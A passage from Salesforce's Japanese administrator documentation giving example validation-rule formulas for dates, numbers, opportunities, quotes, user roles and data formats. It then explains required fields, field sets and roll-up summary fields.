この例では、商談の商談商品数を計数するカスタム積
み上げ集計項目を使用します。

AND(OR(ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Closed Lost")),

数式:

Number_of_Line_Items__c <
PRIORVALUE(Number_of_Line_Items__c) )

完了した商談の商談商品は削除できません。エラーメッセージ:

ページの最上位へエラー表示場所:

サポート対象外の取引先のケースを保存できないようにする

値項目

サポート対象外の取引先のケースを保存できないよう
にします。この例では、取引先がサポート対象かどう

説明:

かを調べる [サポート対象] というカスタムチェック
ボックス項目の使用を前提としています。

Account.Allowed_Support__c = FALSE
数式:

この取引先にはサポート契約がないため、ケースを作
成できません。

エラーメッセージ:

ページの最上位へエラー表示場所:
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取引先責任者が取引先を退職している場合にケースを保存できないようにする

値項目

すでに取引先を退職している取引先責任者に関連する
オープンケースを保存できないようにします。この例

説明:

では、[取引先をすでに退職]というカスタムチェック
ボックス項目を使用します。

AND(Contact.Not_Longer_With_Company__c,
NOT(IsClosed))

数式:

関連する取引先責任者がすでに取引先を退職している
ためこのケースを保存できません。操作を続行するに
は、別の取引先責任者を選択してください。

エラーメッセージ:

取引先責任者名エラー表示場所:

日付入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

平日であること

値項目

カスタム日付項目 ([私の日付]) の値が、平日 (土曜や日
曜以外) であることを確認します。

説明:

CASE(MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
6, 0,
1) = 0

数式:

平日を入力してください。エラーメッセージ:

私の日付エラー表示場所:
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週末であること

値項目

カスタム日付項目 ([私の日付]) の値が、土曜または日曜であることを確認し
ます。

説明:

CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 1,
6, 1,
0) = 0

数式:

週末を入力してください。エラーメッセージ:

私の日付エラー表示場所:

今月の日付であること

値項目

カスタム日付項目 ([私の日付]) の値が、今年の今月の日付であることを確認
します。

説明:

OR (
YEAR( My_Date__c ) <> YEAR ( TODAY() ),
MONTH( My_Date__c ) <> MONTH ( TODAY() )
)

数式:

今月の日付を入力してください。エラーメッセージ:

私の日付エラー表示場所:

今年の日付であること

値項目

カスタム日付項目 ([私の日付]) の値が、今年の日付であることを確認します。説明:

YEAR( My_Date__c ) <> YEAR ( TODAY() )数式:

今年の日付を入力してください。エラーメッセージ:

私の日付エラー表示場所:
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月の最終日であること

値項目

[私の日付]というカスタム項目が月の最終日であることを確認します。これ
を実行するには、次の月の最初の日を調べ、そこから 1 日減算します。これ
には、12 月用の特殊な計算方法も含まれています。

説明:

DAY(My_Date__c) <>
IF(Month(My_Date__c)=12, 31,
DAY(DATE(YEAR(My_Date__c),MONTH(My_Date__c)+1,1) - 1))

数式:

月の最終日を指定してください。エラーメッセージ:

私の日付エラー表示場所:

本日から 1 年以内の日付であること

値項目

[フォローアップの日付] というカスタム項目の日付が今日から 1 年以内の日
付であることを確認します。この例では、1 年を 365 日で計算します (うるう
年は考慮しません)。

説明:

Followup_Date__c - TODAY() > 365
数式:

フォローアップの日付は本日から 1 年以内で指定してください。エラーメッセージ:

フォローアップの日付エラー表示場所:

月の 15 日までの日付であること

値項目

[開始日] というカスタム項目に、指定月の 15 日までの日付が指定されてい
ることを確認します。

説明:

DAY( Begin_Date__c ) > 15
数式:

開始日には、月の 15 日までの日付を指定してください。エラーメッセージ:

開始日エラー表示場所:
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開始日以前の終了日の禁止

値項目

[終了日] というカスタム項目の日付に、[開始日] という別のカスタム項目
の日付より後の日付が指定されていることを確認します。

説明:

Begin_Date__c > End_Date__c
数式:

終了日には、開始日より後の日付を指定してください。エラーメッセージ:

開始日エラー表示場所:

完了予定日以前の有効期限の禁止

値項目

[有効期限] というカスタム項目の日付に、[完了予定日] という別のカスタ
ム項目の日付より後の日付が指定されていることを確認します。

説明:

Expiration_Date__c < CloseDate
数式:

有効期限には、完了予定日より後の日付を指定してください。エラーメッセージ:

有効期限エラー表示場所:

数字入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。
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タイムカードの合計は 40 時間を超えないこと

値項目

週間労働時間が 40 時間を超えるタイムカードレコードを、ユーザが保存で
きないようにします。この例では、カスタムオブジェクトに、労働日 1 日に
つき 1 つ、合わせて 5 つのカスタム項目が必要です。

説明:

Monday_Hours__c +
Tuesday_Hours__c +
Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40

数式:

合計時間が 40 時間を超えていけません。エラーメッセージ:

ページの最上位へエラー表示場所:

負の数の入力の禁止

値項目

[就労時間]というカスタム項目が負の数になっていないことを確認します。説明:

Hours_Worked__c < 0
数式:

就労時間は 0 以上で指定してください。エラーメッセージ:

就労時間エラー表示場所:

偶数の指定

値項目

[乗船客] というカスタム項目の値が、偶数で負の数でないことを確認しま
す。

説明:

OR(
Ark_Passengers__c < 0,
MOD( Ark_Passengers__c, 2) <> 0

)

数式:

乗船客は正の偶数で指定してください。エラーメッセージ:

乗船客エラー表示場所:
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奇数の指定

値項目

[見つかった靴下]というカスタム項目が、奇数で負の数でないことを確認し
ます。

説明:

OR(
Socks_Found__c < 0,
MOD( Socks_Found__c, 2) = 0

)

数式:

見つかった靴下の数は奇数で指定してください。エラーメッセージ:

見つかった靴下エラー表示場所:

5 の倍数の指定

値項目

[5 の倍数] というカスタム項目の値が 5 の倍数であることを確認します。説明:

MOD( Multiple_of_5__c, 5) <> 0
数式:

5 の倍数を指定してください。エラーメッセージ:

5 の倍数エラー表示場所:

整数の指定

値項目

[私の整数] というカスタム項目の値が整数であることを確認します。説明:

FLOOR( My_Integer__c) <> My_Integer__c
数式:

この項目には整数を指定してください。エラーメッセージ:

私の整数エラー表示場所:

5459

項目のカスタマイズコードではなくてクリックによる Salesforce の拡張



-50 から 50 までの数字の指定

値項目

[数量] というカスタム項目の値が -50 から 50 であることを確認します。説明:

ABS( Volume__c) > 50
数式:

数量は -50 から 50 までの値を指定してください。エラーメッセージ:

数量エラー表示場所:

数値範囲入力規則

値項目

[最小給与] と [最大給与] という 2 つのカスタム項目の範囲が 20,000 ドルを
超えないことを確認します。

説明:

(Salary_Max__c - Salary_Min__c) > 20000
数式:

給与の範囲は 20,000 ドルです。最大または最小給与の値を変更してくださ
い。

エラーメッセージ:

最大給与エラー表示場所:

パーセント値への 0 から 100 までの指定

値項目

[割合]というカスタム項目の値が 0 から 100% の間であることを確認します。
パーセントの項目は、100 で割ったものが数式に表示されます (100% は 1、50%

は 0.5 として表示されます)。

説明:

OR(
Mix_Pct__c > 1.0,
Mix_Pct__c < 0.0

)

数式:

割合は 0 から 100% の間で指定してください。エラーメッセージ:

割合エラー表示場所:

5460
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商談管理の入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

商談フェーズに基づく条件付き必須項目

値項目

[商談成立] または [最終交渉] フェーズまで進んだ商談
に、[納品日] というカスタム項目があることを確認し
ます。

説明:

AND (
OR (

ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName,

"Negotiation/Review")),
ISBLANK(Delivery_Date__c)
)

数式:

このフェーズには [納品日] が必要です。エラーメッセージ:

納品日エラー表示場所:

完了予定日への前月の指定の禁止

値項目

商談の [完了予定日] が前月の 1 か月以内の日付になっていないことを確認
します。この数式では、商談の作成中、または後に [完了予定日] 項目が変
更されたときにだけ条件を調べるように ISNEW および ISCHANGED が使用され
ています。

説明:

AND(
OR (

ISNEW(),
ISCHANGED( CloseDate )),

CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1) )

数式:

完了予定日には今月以降の月を指定してください。エラーメッセージ:

完了予定日エラー表示場所:

5461
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完了予定日が将来の日付であること

値項目

ユーザが、商談の [完了予定日] を過去の日付に変更しないようにします。説明:

SampleDate < TODAY()
数式:

完了予定日を過去の日付にすることはできません。エラーメッセージ:

完了予定日エラー表示場所:

商談における割引

値項目

割引率のカスタムパーセント項目が 0 ～ 40% の範囲にあることを確認します。説明:

OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)数式:

割引率は、40% 以内にしてください。エラーメッセージ:

割引率エラー表示場所:

重要商談の承認は完了予定日以前であること

値項目

50,000 ドル以上の商談でフェーズを [商談成立] または [不成立] に変更するに
は、[承認済み]というカスタムチェックボックスがオンになっている必要が
あります。これを自動化するには、[承認済み]チェックボックスに項目レベ
ルセキュリティを設定し、カスタム承認プロセスを介してのみ、チェック
ボックスをオンにできるようにします (Enterprise Edition、Unlimited Edition、また
は Performance Edition)。

説明:

AND(
OR(

ISPICKVAL(StageName,"Closed Won"),
ISPICKVAL(StageName,"Closed Lost")),

(Amount > 50000),
NOT(ISPICKVAL(Approval_Status__c ,"Approved")))

数式:

重要商談はすべて承認されたときにだけクローズできます。[クローズ要求]

ボタンをクリックしてください。
エラーメッセージ:

ページの最上位へエラー表示場所:

5462
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1000 万ドルを超える商談金額の禁止

値項目

商談の [金額] が正の数で 1000 万ドル以下であることを確認します。この制
限は、入力ミスを防ぐために設けてあります。

説明:

OR(
Amount < 0,
Amount > 10000000

)

数式:

金額は 1000 万ドル以下で指定してください。エラーメッセージ:

金額エラー表示場所:

商談品目のチェック

値項目

ユーザが商談に対する変更を保存する前に、その商談に商談商品が最低でも 1 つあ
ることを確認します。

説明:

NOT(OR(ISNEW(),HasOpportunityLineItem))
数式:

保存する前に、この商談に商品を追加してください。エラーメッセージ:

ページの最上位へエラー表示場所:

5463
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「ニーズの把握」フェーズを過ぎた商談に商品を持たせる

値項目

[フェーズ]を「ニーズの把握」以降に進める前に、商談に商談商品があるこ
とを確認します。

説明:

AND (
CASE( StageName,

"Value Proposition", 1,
"Id. Decision Makers", 1,
"Perception Analysis", 1,
"Proposal/Price Quote", 1,
"Negotiation/Review", 1,
"Closed Won", 1,
0) = 1,

NOT(HasOpportunityLineItem)
)

数式:

「ニーズの把握」フェーズ以降に進むには、商談商品が必要です。エラーメッセージ:

ページの最上位へエラー表示場所:

商談名の形式

値項目

「[取引先] – [金額]」の形式での商談の命名規則を徹底するために、商談にハ
イフンが含まれていることを確認します。

説明:

FIND( " - ", Name ) = 0
数式:

商談名は「[取引先] – [金額]」の形式で指定してください。エラーメッセージ:

商談名エラー表示場所:

5464
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営業担当による商談フェーズの後退の禁止

値項目

カスタム承認プロセスを介して商談を受け付けた後に、営業担当が商談
[フェーズ] を「後退」させることを防ぎます。承認プロセスでは、カスタ
ム [承諾フラグ] チェックボックスが「True」に設定されます。

説明:

AND(
Accepted_Flag__c,
OR ( ISPICKVAL( StageName, "Stage 1"), ISPICKVAL( StageName,

"Stage 2"))
)

数式:

受け付けた商談には指定できないフェーズです。エラーメッセージ:

フェーズエラー表示場所:

成立商談の確度が 100% であること

値項目

成立商談の確度が正しく 100% に設定されていることを確認します。この機
能は、データを正確に保ち、レポートを作成するのに便利です。

説明:

AND (
ISPICKVAL( StageName, "Closed Won"),
Probability <> 1)

数式:

成立商談の確度には 100% を指定してください。エラーメッセージ:

確度エラー表示場所:

不成立の商談の確度が 0% であること

値項目

不成立商談の確度が正しく 0% に設定されていることを確認します。この機
能は、データを正確に保ち、レポートを作成するのに便利です。

説明:

AND (
ISPICKVAL( StageName, "Closed Lost"),
Probability <> 0)

数式:

不成立商談の確度には 0% を指定してください。エラーメッセージ:

確度エラー表示場所:

5465
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プロジェクト開始日

値項目

ある項目の値によって別の項目が入力必須項目になる場合に、その条件を満たし
ていることを確認します。この入力規則数式を使用して、成立した商談には [プロ
ジェクト開始日] を必ず入力するようにします。

説明:

AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))

数式:

成立した商談には、[プロジェクト開始日] が必須です。エラーメッセージ:

プロジェクト開始日エラー表示場所:

見積の入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

見積品目の割引が 40% を超えた場合のエラーの表示

値項目

見積品目の割引が 40% を超えた場合、エラーを表示し
ます。

説明:

Discount > .40
数式:

この見積品目の割引が 40% を超えることはできません。エラーメッセージ:

見積における [割引]エラー表示場所:

5466
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ユーザ、ロール、およびプロファイル入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

ロールに基づく割引率の制限

値項目

商談の [割引率]というカスタム項目が、ユーザのロー
ルごとに異なる最大値を超えていないことを確認しま
す。デフォルトの最大値は 15% です。

説明:

Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,

$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)

数式:

割引率 (%) がロールに許可された制限を超えています。エラーメッセージ:

割引率エラー表示場所:

ユーザの最大許容経費による経費の金額の制限

値項目

[経費金額] というカスタム項目を [最大許容支出] というカスタムユーザ項
目に照らし合わせて確認します。

説明:

Expense_Amount__c > $User.Max_Allowed_Expense__c
数式:

最大許容経費を超えた金額は指定できません。エラーメッセージ:

経費金額エラー表示場所:

5467
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レコード所有者のみが項目を変更できるようにする

値項目

[個人目標]というカスタム項目をそのレコード所有者のみが変更できるよう
にします。

説明:

AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id

)

数式:

[個人目標] を変更できるのは所有者のみです。エラーメッセージ:

個人目標エラー表示場所:

レコード所有者または管理者のみが項目を変更できるようにする

値項目

[個人目標]というカスタム項目は、ユーザがそのレコード所有者であるか、
「カスタム: システム管理者」のカスタムプロファイルを持つ場合にのみ変
更できるようにします。

説明:

AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id,
$Profile.Name <>

"Custom: System Admin" )

数式:

メモ:  $Profile 差し込み項目は、Enterprise Edition、Unlimited Edition、
Performance Edition、および Developer Edition でのみ使用可能です。

[個人目標] を変更できるのは所有者またはシステム管理者のみです。エラーメッセージ:

個人目標エラー表示場所:

5468

項目のカスタマイズコードではなくてクリックによる Salesforce の拡張



管理者のみが商談完了日を過去の日付に変更できるようにする

値項目

「カスタム: システム管理者」のカスタムプロファイルを持つユーザを除き、
商談の [完了予定日]が現在の月よりも前になっていないことを確認します。

説明:

AND(
OR (

ISNEW(),
ISCHANGED( CloseDate )),

CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1),
$Profile.Name <> "Custom: System Admin"

)

数式:

メモ:  $Profile 差し込み項目は、Enterprise Edition、Unlimited Edition、
Performance Edition、および Developer Edition でのみ使用可能です。

完了予定日には今月以降の月を指定してください。エラーメッセージ:

完了予定日エラー表示場所:

その他の入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

数字の上方修正を許可し、下方修正を禁止する

値項目

[達成予測] というカスタム項目の作成後は、上方修正
だけを許可し、下方修正は許可しないようにします。
この規則では、変更後と変更前の項目を比較するため
に PRIORVALUE() 関数が使用されています。

説明:

PRIORVALUE(Commit_Amount__c) >
Commit_Amount__c

数式:

達成予測の下方修正はできません。エラーメッセージ:

達成予測エラー表示場所:

5469
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カリフォルニア州運転免許

値項目

[都道府県(郵送先)] が「CA」である場合に、[運転免許] というカスタム項
目が A9999999 の形式になっていることを確認します。

説明:

AND(
MailingState = "CA",
NOT(REGEX(Drivers_License__c, "([A-Z]\\d{7})?"))
)

数式:

カリフォルニア州運転免許の形式が違います。エラーメッセージ:

運転免許エラー表示場所:

ユーザが [条件に合意する] をオンにして特定の値を入力するように要求する

値項目

[条件に合意する] というチェックボックスを使用し、ユーザが必ずチェック
ボックスをオンにして、有給休暇の日数を超過する [日数] という値を入力
できるようにします。

説明:

AND(
NOT( I_accept_terms__c ),
Number_of_Days__c > $User.PTO_Balance__c

)

数式:

申請すると、有給休暇が超過となります。超過休暇の条件を承諾する必要が
あります。

エラーメッセージ:

条件に合意するエラー表示場所:

5470
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保存済みの項目の変更を禁止する

値項目

[保証率] というカスタム項目を一度保存した後の変更を受け付けないよう
にします。

説明:

AND(
NOT( ISNEW() ),
ISCHANGED( Guaranteed_Rate__c )

)

数式:

保証率は変更できません。エラーメッセージ:

保証率エラー表示場所:

社会保険番号の形式

値項目

[社会保険番号]というカスタムテキスト項目に指定があるときは、999-99-9999

の形式になっていることを確認します。パターンは次のとおりです。
説明:

• 3 つの 1 桁数字 (0 ～ 9):\\d{3}

• 単一ダッシュ
• 2 つの 1 桁数字 (0 ～ 9):\\d{2}

• 単一ダッシュ
• 4 つの 1 桁数字 (0 ～ 9):\\d{4}

NOT(
OR(
ISBLANK(Social_Security_Number__c),
REGEX( Social_Security_Number__c , "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)

数式:

社会保険番号は 999-99-9999 の形式で指定してください。エラーメッセージ:

社会保険番号エラー表示場所:

5471
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有効な通貨

値項目

[通貨] 選択リストを使って、選択された通貨が組織内で有効な通貨の明示
的なサブセットにあることを確認します。この例は、特定のレコードに対し
て組織内で有効な通貨の一部だけを適用したい場合に使用します。

説明:

CASE(CurrencyIsoCode,
"USD", 1,
"EUR", 1,
"GBP", 1,
"JPY", 1,
0) = 0

数式:

通貨は米国ドル、ユーロ、英ポンドまたは日本円で指定してください。エラーメッセージ:

通貨エラー表示場所:

有効なクレジットカード番号

値項目

Credit_Card_Number というカスタムテキスト項目に指定がある場合に、
9999-9999-9999-9999 または 9999999999999999 の形式になっていることを確認し
ます。パターンは次のとおりです。

説明:

• 4 桁の数字 (0 ～ 9) の後に単一ダッシュ: \\d{4}-

• 上記のパターンを () で囲んで 3 回繰り返す {3}

• 4 桁数字 (0 ～ 9)

• OR 文字 (|) を使用して、0 ～ 9 の 16 桁数字 (ダッシュなし) から成る代替パ
ターンを使用できます: \\d{16}

NOT( REGEX( Credit_Card_Number__c ,
"(((\\d{4}-){3}\\d{4})|\\d{16})?"))

数式:

クレジットカード番号は、9999-9999-9999-9999 または 9999999999999999 の形式
にする必要があります。

エラーメッセージ:

クレジットカード番号エラー表示場所:

5472
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有効な IP アドレス

値項目

[IP アドレス] というカスタム項目が、ピリオドで区切られた 4 つの 3 桁数
字 (0 ～ 255) の形式になっていることを確認します。

説明:

NOT(
REGEX( IP_Address__c,

数式:

"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.)
{3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$" ))

エラー: IP アドレスは 999.999.999.999 (それぞれ 0 ～ 255) の形式にする必要があ
ります。

エラーメッセージ:

IP アドレスエラー表示場所:

Web サイトの拡張子

値項目

[Web サイト] というカスタム項目の最後の 4 文字が、明示的な一連の有効
な Web サイトの拡張子になっていることを確認します。

説明:

AND(
RIGHT( Web_Site__c, 4) <> ".COM",
RIGHT( Web_Site__c, 4) <> ".com",
RIGHT( Web_Site__c, 4) <> ".ORG",
RIGHT( Web_Site__c, 4) <> ".org",
RIGHT( Web_Site__c, 4) <> ".NET",
RIGHT( Web_Site__c, 4) <> ".net",
RIGHT( Web_Site__c, 6) <> ".CO.UK",
RIGHT( Web_Site__c, 6) <> ".co.uk"

)

数式:

Web サイトには、.com、.org、.net、または .co.uk の拡張子が必要で
す。

エラーメッセージ:

Web サイトエラー表示場所:
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項目入力の必須化によるデータ品質の確保

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Connect Offline、
Salesforce for Outlook、セ
ルフサービスポータル、
Web-to-リードと Web-to-
ケースはDatabase.comで
は使用できません。

必須項目を作成して、ユーザが Salesforce に入力するデータの品質を向上させま
す。
必須項目は、Salesforce、Force.com API、Connect Offline、Salesforce for Outlook、セルフ
サービスポータル、または Web-to-リードや Web-to-ケースなどの自動処理内でレ
コードが保存されるときに値を持っている必要のあるカスタム項目です。ペー
ジレイアウトや項目レベルセキュリティで項目を必須にすることにより、ユー
ザに確実に値を入力させることができますが、項目を必須にすることにより、
ページレイアウトの表示レベルを超えて、より高度なデータの質を実現できま
す。
次の種別のカスタム項目を必須にすることができます。
• 通貨
• 日付
• 日付/時間
• メール
• 主従関係 (常に必要)

• 数値
• パーセント
• 電話
• テキスト
• テキストエリア
• URL

カスタム項目を必須にするには、カスタム項目を定義するときに、[必須項目]チェックボックスをオンにしま
す。

メモ: 必須のキャンペーンメンバーカスタム項目のデフォルト値を指定する必要があります。
ユーザ項目を必須にするには、その項目のデフォルト値を指定します。

リレーショングループメンバーでは、必須項目はサポートされていません。

必須項目の考慮事項
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必須項目の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

標準オブジェクト、ペー
ジレイアウト、Connect
Offline、
Salesforce for Outlook、セ
ルフサービスポータル、
Web-to-リードおよび
Web-to-ケースは
Database.comでは使用で
きません。

必須項目は、Salesforce、Force.com API、Connect Offline、Salesforce for Outlook、セルフ
サービスポータル、または Web-to-リードや Web-to-ケースなどの自動処理内でレ
コードが保存されるときに値を持っている必要のあるカスタム項目です。カス
タム項目を必須にする前に、次の考慮事項を確認します。
• 標準項目は、必須にはできません。
• 必須項目は、すべてのレコードタイプで必須です。
• 必須項目は、項目レベルセキュリティに関係なく、編集ページに常に表示さ

れます。
• ページレイアウトを設計するとき、必須項目は次の制約を持ちます。

– ページレイアウトから削除できません。
– ページレイアウトに存在しない場合には、ページレイアウトの最初のセ

クションの終わりに自動的に追加されます。
– 参照のみまたは省略可能には設定できません。
– 常に可視であることを表す太字で表示されます。
– 項目プロパティページでは、必須設定を削除できないため、無効になり

ます。
• 必須科目は、組織でリードの取引開始時の入力規則とトリガが有効になって

いる場合にのみ、リードの取引開始時に実行されます。
• 簡易作成は、必須項目を強制しません。
• 活動のカスタム項目を必須にする場合には、デフォルト値も指定する必要が

あります。
• インポートファイルに必須項目を入れないと、インポートが失敗します。
• デフォルト値は、必須項目かつ一意の項目に割り当てないでください。一意性のエラーになる可能性があ

ります。
• 項目が、その項目を空白値に設定する項目自動更新によって使用される場合は、その項目を必須にするこ

とはできません。
• 項目を必須に設定する前から存在していたレコードの必須項目は、空のままでもかまいません。空の必須

項目を含むレコードを更新するときは、レコードを保存する前に必須項目の値を入力する必要があります。
• Web-to-リードおよび Web-to-ケース要求データは、Salesforce によって検証されません。要求を送信しても、

無効なデータは保存されません。たとえば、カスタム項目が通貨項目の場合に、ユーザが数値ではなく
「Abc」などの英字を入力しても、要求は送信されますが、カスタム通貨項目に値は保存されません。

関連トピック:

項目入力の必須化によるデータ品質の確保
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項目セットについて

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

項目セットとは、項目をグループ化したものです。たとえば、ユーザの名、ミ
ドルネーム、姓、肩書を示す項目を 1 つの項目セットにして持つことができま
す。Visualforce ページに項目セットを追加すると、開発者はその項目をまとめて
表示できます。そのページを管理パッケージに追加すれば、システム管理者は
項目セット内の項目の追加、削除、並び替えを行って、コードを変更せずに
Visualforce ページ上に表示する項目を変更できます。登録者がどの項目を保持し
たいかによって、同じ Visualforceページで異なる情報セットを表すことができま
す。
システム管理者は、それぞれの組織に対応した項目セットの作成または編集を
したり、インストール済みの項目セットを編集したりできます。項目セットは、
カスタム項目をサポートするすべての標準オブジェクトおよび Visualforceページ
の作成をサポートする組織で使用できます。
項目セットに追加された項目は、次の 2 つのカテゴリのいずれかに入れることができます。
• 項目が [項目セットで使用可能]とマークされている場合、項目は項目セット内に存在しますが、開発者は

パッケージ化された Visualforceページ上でそれを表示していません。システム管理者は、その項目を [利用
可] 列から [項目セットで] 列に移動することによって、その項目セットをリリースした後、表示できま
す。

• 項目が [項目セットで] とマークされている場合、開発者はデフォルトで、パッケージ化された Visualforce

ページ上でその項目を表示しています。システム管理者は、項目を [項目セットで] 列から削除して項目
セットをリリースした後、ページから項目を削除できます。

項目セットの作成と編集
項目セットの必須ビット

関連トピック:

カスタム項目の作成

項目セットの作成と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce には、項目セットを作成および編集するためのドラッグアンドドロッ
プ形式の WYSIWYG ツールがあります。拡張項目セットエディタは、デフォルト
で有効化されており、従来のエディタのすべての機能を提供すると共に、追加
機能とさらに使いやすい WYSIWYG インターフェースを提供します。
1. 適切なオブジェクトの管理設定から、[項目セット] に移動し、[新規]をクリッ

クします。
2. [項目セットラベル] を入力します。これは、管理パッケージから項目をイン

ストールする登録者に表示される名前です。
3. 必要に応じて、項目セットの名前を入力します。これを使用して、Visualforce

ページでその項目セットを参照します。
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4. [使用場所] 領域では、どの Visualforce ページで、何の目的でこの項目セットを使用するかを簡単に説明しま
す。この情報は、その項目セットに独自の項目を入力できるように、インストールした項目セットがどこ
でどのように使用されているかを登録者が理解する助けとなります。

5. 変更内容を保存します。
6. 項目セットに項目を追加するには、オブジェクトパレットから項目をドラッグして [項目セットで使用可

能]または [項目セットで]コンテナにドロップします。[項目セットで使用可能]コンテナの項目は、最初
はVisualforceページには表示されません。[項目セットで]コンテナの項目は、デフォルトで表示されます。

メモ: 項目セットでは、複数のオブジェクトを参照する項目に項目を展開できます。複数のオブジェ
クトを参照する項目セットに項目を展開する場合、展開できる項目は [名前]オブジェクトのみです。

項目は、コンテナ間でドラッグアンドドロップすることができます。[項目セットで] リストの縦の順序
は、Visualforce ページで項目が表示される順序を表します。

7. 項目を項目セットから削除するには、その要素をオブジェクトパレットにドラッグするか、要素の横の
をクリックします。

8. 項目を必須にするには、要素をダブルクリックするか、レンチアイコン ( ) をクリックして、[必須項目]

チェックボックスをオンにします。

メモ:  - 項目が必須であり、レコードを保存するための値が必要であることを示します。

9. 変更内容を保存します。

重要: [項目セットで]コンテナ内に展開するクロスオブジェクトの総数は 25 を超えることはできません。

組織で項目セットがリリースされると、[項目セットで使用可能]リストにある項目に、いつでも [項目セット
で] とマークを付けることができます。またはその逆も可能です。手順は、次のとおりです。
1. 編集する項目セットを見つけます。[設定] から、[クイック検索] ボックスに「インストール済みパッケー

ジ」と入力し、[インストール済みパッケージ]を選択し、インストール済みのパッケージをクリックして、
編集する項目セットをクリックします。または、編集する項目セットが含まれているオブジェクトがわか
る場合は、そのオブジェクトの詳細ページに移動し、項目セット関連リストで [編集] をクリックします。

2. 最初に項目セットを作成しなかった場合は、項目セット内の項目のみ編集できます。コンテナ間で項目を
移動するには、コンテナ間で項目をドラッグアンドドロップします。参照された項目の順序を変更するに
は、項目をリストで上または下にドラッグして、表示する順に項目をドロップします。

3. 変更内容を保存します。

関連トピック:

項目セットについて
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項目セットの必須ビット

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

項目セットを作成または編集する場合は、項目を必須として定義できます。項
目を必須として定義することで、項目に必要な情報を必ず入力するようにでき
ます。必須項目は [項目セットで] コンテナのみで使用可能です。[項目セット
で] コンテナで項目を必須として定義して、[項目セットで] からその項目を削
除すると、必須属性が削除されます。

メモ: インストールされた管理パッケージの [項目セットで] コンテナで必
須とされた項目を削除しても、必須属性はこれらの項目から削除されませ
ん。

項目セットで項目を必須として定義するには、「項目セットの作成と編集」
(ページ 5476)を参照してください。

関連トピック:

項目セットについて

積み上げ集計項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

積み上げ集計項目は、関連リストにある関連レコードなどから値を計算します。
詳細レコードの項目の値に基づいてマスタレコードの値を表示する積み上げ集
計項目を作成できます。詳細レコードは、主従関係によってマスタレコードと
関連付ける必要があります。たとえば、取引先の請求書関連リストに存在する
すべての関連請求書カスタムオブジェクトの請求金額の合計を表示するとしま
す。この合計金額は、[請求書総額] というカスタム取引先項目に表示できます。
積み上げ集計項目では、異なる種類の計算ができます。マスタレコードに関連
した詳細レコードの数を集計したり、詳細レコード中の項目の合計、最小値、
または最大値を計算したりできます。
組織で積み上げ集計項目を作成する前に、実装のヒントとベストプラクティス
を確認してください。

実装のヒント
管理
• 次の場所で積み上げ集計項目を作成します。

